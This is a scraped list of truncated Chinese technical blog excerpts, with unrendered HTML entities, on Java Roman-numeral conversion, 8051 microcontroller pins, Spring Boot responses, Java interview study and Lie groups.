1、練習-轉換羅馬數字 鍵盤錄入一個字符串 要求1&#xff1a;長度為小于等于9 要求2&#xff1a;只能是數字 將內容變成羅馬數字 下面是阿拉伯數字跟羅馬數字的對比關系&#xff1a; Ⅰ-1 Ⅱ-2 Ⅲ-3 Ⅳ-4 Ⅴ-5 Ⅵ-6 Ⅶ-7 Ⅷ-8 Ⅸ-9 注意點&#xff1a;羅馬數字里面沒有0的&…

51單片機的管腳介紹

圖文介紹 純文字說明 單片機管腳相關結構及其作用如下 電源正極引腳 一般接5V電源&#xff0c;為單片機提供正常工作時的電壓。 電源負極引腳 接地。然后才開始工作。 時鐘引腳 18、19腳為時鐘引腳&#xff08;XTAL2、XTAL1&#xff09;。單片機內部有大量的數字電路&a…

SringBoot-響應

響應數據 如何加載響應數據呢 其實在SpringBoot&#xff0c;已經有名為RessponseBody的方法注解為我們提供的響應的方法&#xff0c;他的作用是將方法返回值直接響應&#xff0c;如果返回值類型為實體對象/集合&#xff0c;則會轉換為JSON格式響應。 而RestController已經在內…

Java真實面試題,offer已到手

關于學習 在黑馬程序員剛剛開始的時候學習盡頭非常足&#xff0c;到后面逐漸失去了一些興趣&#xff0c;以至于后面上課會出現走神等問題&#xff0c;但是畢業時后悔晚矣。等到開始學習項目一的時候&#xff0c;思路總會比別人慢一些&#xff0c;不看講義寫不出來代碼。 建議…

Lie group 專題:Lie 群

Lie group 專題&#xff1a;Lie 群 流形 流形的定義 一個m維流形是滿足以下條件的集合M&#xff1a;存在可數多個稱為坐標卡&#xff08;圖集&#xff09;的子集合族.以及映到的連通開子集上的一對一映射&#xff0c;,稱為局部坐標映射&#xff0c;滿足以下條件 坐標卡覆蓋M…